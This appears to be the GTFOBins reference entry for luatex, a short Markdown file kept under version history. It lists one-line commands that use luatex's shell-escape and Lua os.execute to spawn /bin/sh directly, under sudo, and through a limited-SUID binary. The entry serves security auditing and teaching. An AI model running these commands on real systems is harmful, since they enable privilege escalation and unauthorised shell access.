GTFOBins.github.io/_gtfobins/luatex.md

11 lines
344 B
Markdown
Raw Normal View History

---
description: This allows to execute [`lua`](/gtfobins/lua/) code.
2021-04-22 22:15:59 +02:00
functions:
shell:
- code: luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
2021-04-22 22:15:59 +02:00
sudo:
- code: sudo luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
limited-suid:
- code: ./luatex -shell-escape '\directlua{os.execute("/bin/sh")}\end'
---